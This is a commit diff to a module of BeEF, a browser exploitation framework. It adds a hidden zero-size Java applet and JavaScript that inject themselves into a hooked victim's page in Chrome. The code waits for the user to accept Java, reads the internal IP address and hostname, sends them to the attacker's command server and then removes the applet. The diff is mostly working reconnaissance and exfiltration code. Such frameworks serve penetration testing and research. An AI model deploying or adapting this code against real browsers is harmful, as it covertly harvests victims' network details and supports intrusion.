Addresses some of issue 135 - local settings are detected for chrome with user interaction to accept java

git-svn-id: https://beef.googlecode.com/svn/trunk@1062 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

modules/network/detect_local_settings/Beeffeine.java

@@ -0,0 +1,48 @@
+import java.applet.*;
+import java.net.*;
+import java.util.*;
+
+public class Beeffeine extends Applet {
+
+	public String MyIP()
+	{
+		String string = "unknown";
+		String string4 = getDocumentBase().getHost();
+		byte j = 80;
+		String string2;
+		String string3 = "internal_ip=";
+		int k = 80;
+		if (getDocumentBase().getPort() != -1) 
+			k = getDocumentBase().getPort();
+
+		try {
+			string2 = new Socket(string4 , k).getLocalAddress().getHostAddress();
+			if (!string2.equals("255.255.255.255")) 
+				string3 += string2;
+
+		}
+		catch (SecurityException securityexception) {
+			string3 += "FORBIDDEN";
+		}
+		catch (Exception exception) {
+			string3 += "exception";
+		}
+
+		string3 += "&internal_hostname=";
+
+		try {
+			string3 += new Socket(string4 , k).getLocalAddress().getHostName();
+		}
+		catch (Exception exception) {
+			string3 += "Cannot Lookup this IP";
+		}
+
+		return (string3);
+	}
+	
+	public Beeffeine() {
+		super();
+		return;
+	}
+	
+}

modules/network/detect_local_settings/command.js

@@ -14,12 +14,39 @@
 //   limitations under the License.
 //
 beef.execute(function() {
-	
-	var internal_ip = beef.net.local.getLocalAddress();
-	var internal_hostname = beef.net.local.getLocalHostname();
+	if (beef.browser.isFF()) {
+		var internal_ip = beef.net.local.getLocalAddress();
+		var internal_hostname = beef.net.local.getLocalHostname();
 
-	if(internal_ip && internal_hostname) {
-		beef.net.send('<%= @command_url %>', <%= @command_id %>,
-			'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
+		if(internal_ip && internal_hostname) {
+			beef.net.send('<%= @command_url %>', <%= @command_id %>,
+				'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
+		}
+	} else {
+		//Trying to insert the Beeffeine applet
+		content = "<APPLET code='Beeffeine' codebase='/Beeffeine.class' width=0 height=0 id=beeffeine name=beeffeine></APPLET>";
+		$j('body').append(content);
+		internal_counter = 0;
+		//We have to kick off a loop now, because the user has to accept the running of the applet perhaps
+		
+		
+		function waituntilok() {
+			try {
+				output = document.beeffeine.MyIP();
+				beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
+				$j('#beeffeine').detach();
+				return;
+			} catch (e) {
+				internal_counter++;
+				if (internal_counter > 20) { //Timeout after 20 seconds
+					beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=time out');
+					$j('#beeffeine').detach(); //kill the applet
+					return;
+				}
+				setTimeout(function() {waituntilok()},1000);
+			}
+		}
+		//Lets not kick this off just yet
+		setTimeout(function() {waituntilok()},5000);
 	}
 });

modules/network/detect_local_settings/config.yaml

@@ -20,7 +20,7 @@ beef:
             category: "Network"
             name: "Detect local settings"
             description: "Grab the local network settings (ie internal ip address)."
-            authors: ["pdp", "wade", "bm"]
+            authors: ["pdp", "wade", "bm", "xntrik"]
             target:
                 working: ["FF", "C"]
                 not_working: ["IE"]

modules/network/detect_local_settings/module.rb

@@ -20,7 +20,7 @@ class Detect_local_settings < BeEF::Core::Command
       'Name' => 'Detect local settings',
       'Description' => 'Grab the local network settings (i.e internal ip address)',
       'Category' => 'Network',
-      'Author' => ['pdp', 'wade', 'bm'],
+      'Author' => ['pdp', 'wade', 'bm', 'xntrik'],
       'File' => __FILE__
     })
     
@@ -30,7 +30,7 @@ class Detect_local_settings < BeEF::Core::Command
     })
     
     set_target({
-        'verified_status' =>  VERIFIED_WORKING, 
+        'verified_status' =>  VERIFIED_USER_NOTIFY, 
         'browser_name' =>     C
     })
     
@@ -43,6 +43,12 @@ class Detect_local_settings < BeEF::Core::Command
     use_template!
   end
   
+  def pre_send
+    #Mount the Beeffeine.class on /Beeffeine.class
+    #Unsure if there's something we can add here to check if the module was already mounted?
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/detect_local_settings/Beeffeine.class','/Beeffeine','class')
+  end
+  
   def callback
     content = {}
     content['internal ip'] = @datastore['internal_ip'] if not @datastore['internal_ip'].nil?
@@ -50,6 +56,9 @@ class Detect_local_settings < BeEF::Core::Command
     
     content['fail'] = 'could not grab local network settings' if content.empty?
     
+    #Unmount the class now, it's no longer required.
+    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/Beeffeine.class');
+    
     save content
   end